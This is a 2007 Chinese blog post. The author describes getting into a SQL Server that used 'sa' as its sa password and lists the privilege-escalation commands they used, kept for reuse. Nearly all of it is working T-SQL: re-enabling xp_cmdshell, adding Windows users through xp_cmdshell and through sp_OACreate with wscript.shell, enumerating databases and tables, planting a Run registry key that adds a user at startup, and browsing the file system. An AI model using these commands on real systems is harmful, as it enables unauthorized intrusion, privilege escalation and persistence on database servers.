得到Sa密码后-MsSql提权命令

作者在 2007-12-14 13:23:22 发布以下内容

昨日行幸得一Sa密码为Sa的Sql Server服务器。于是决定提权......

下面是我用到的提权命令,放在这里以备将来只用.

一 系统Shell

恢复xp_cmdshell
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

使用xp_cmdshell添加用户
exec xp_cmdshell 'net user user1 /add'


利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

二 数据库查询
查询库
库名称存在master库中的sysdatabases表中,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库
Select name FROM sysdatabases where dbid>6

查询表
表名称存在xyz库中的sysobjects表且xtype='u'
Select *FROM sysobjects where xtype='u'

查询字段
该表的字段存在xyz库中的syscolumns表,且id等于sysobjects表中test表对应的id
Select * FROM syscolumns where id='357576312'

 

三 注册表操作

利用xp_regwrite写注册表项
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'

查看注册表
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'


四 文件操作
历遍目录
exec master.dbo.xp_dirtree 'c:\'

获取子目录
exec master.dbo.xp_subdirs 'c:\'

判断目录或文件是否存在
exec master..xp_fileexist 'c:\boot.ini'

 


 

默认分类 | 阅读 18076 次
文章评论,共0条
游客请输入验证码
浏览585027次